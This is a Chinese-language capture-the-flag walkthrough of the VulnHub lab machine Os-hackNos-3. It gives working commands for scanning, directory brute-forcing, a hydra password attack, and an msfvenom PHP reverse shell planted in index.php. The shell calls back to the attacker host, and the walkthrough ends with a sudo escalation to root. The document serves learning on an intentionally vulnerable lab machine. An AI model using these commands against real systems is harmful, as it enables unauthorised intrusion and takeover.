目录
kali ip:192.168.245.129
靶机 ip:192.168.245.133
介绍
系列: hackNos
发布日期: 2019年12月14日
难度: 中级
Flag : 一个普通用户的,一个根用户的
学习:漏洞利用、web攻击、枚举、权限提升
靶机地址:https://www.vulnhub.com/entry/hacknos-os-hacknos-3,410/
0.靶机配置
将下载下来的靶机文件Os-hackNos-3.ova导入到vm中
导入后,因为无法获取ip地址,故需要进行设置配置
需要在启动界面点击shift进入如下界面按下e
向下翻动,将ro改为rw single init=/bin/bash
然后按下 ctrl+x进入shell
使用ip a查看网卡名
使用 :q退出后
使用vim /etc/netplan/50-cloud-init.yaml进行编辑,此处将错误的网卡改为ens33
1.信息收集
1.1主机发现
在kali里使用netdiscover
发现主机
arp-scan -l
nmap -sn 192.168.245.0/24
发现192.168.245.133
就是目标靶机的ip地址
1.2端口扫描
使用nmap
对目标靶机开放的端口进行扫描
nmap -Pn -n -sV 192.168.245.133
发现目标靶机仅开放了两个tcp端口,22和80端口
2.遍历目录
访问80端口,发现只有一个页面,没有其他信息。
使用dirb
命令,对靶机的目录进行遍历。
dirb http://192.168.245.133
只发现一个scripts
目录。访问http://192.168.245.133/scripts
未发现有用信息。
百度后尝试访问http://192.168.245.133/websec
,又是一个页面,用dirb
遍历websec
下的内容。
dirb http://192.168.245.133/websec/
遍历扫描的目录,发现一个登录页面http://192.168.245.133/websec/admin
(http://192.168.245.133/websec/login
也一样)。
一个Email作为用户名。在http://192.168.245.133/websec
中存在一个邮箱contact@hacknos.com
,尝试用该账户爆破密码。使用系统自带的字典无法爆破出密码.使用cewl
爬取http://192.168.245.133/websec
页面,生成字典。
cewl http://192.168.245.133/websec -w pass
cat pass
使用hydra
爆破密码。查看登录请求报文如下
登录失败时会返回提示信息Wrong email or password
执行命令,爆破密码为Securityx
3.webshell
通过账户contact@hacknos.com:Securityx
登录后台,可以管理web服务的文件。
访问
使用msfvenom
生成一个php反弹shell的poc
msfvenom -l payload |grep php|grep reverse |grep tcp
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.245.129 LPORT=1234 -f raw > webshell.php
将生成的webshell写入index.php
中。进入msfconsole
监听本地1234
端口
use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
options
set lhost 192.168.245.129
set lport 1234
run
访问http://192.168.245.133/websec/
即可接收反弹shell。进入home
目录获得地一个flag
shell
cd /home
ls
cd blackdevil
ls
cat user.txt
python -c 'import pty; pty.spawn("/bin/bash")'
4.提权
反弹的webshell是www-data
用户。该账户没有sudo
配置,搜索带有SUID
程序发现也没有可以利用提权的。经发现在/var/local
目录下有个database
文件,里面有个fackespreadsheet
的加密内容。
cd /var/local
ls
cat database
进行解密,获得结果Security@x@,
这个就是用户blackdevil
的密码
切换到blackdevil
账户后,查询其sudo
配置,发现可以执行所有命令,从而获得第二个flag。
su blackdevil
Security@x@
id
sudo -l
Security@x@
sudo su
id
cd /root
ls
cat root.txt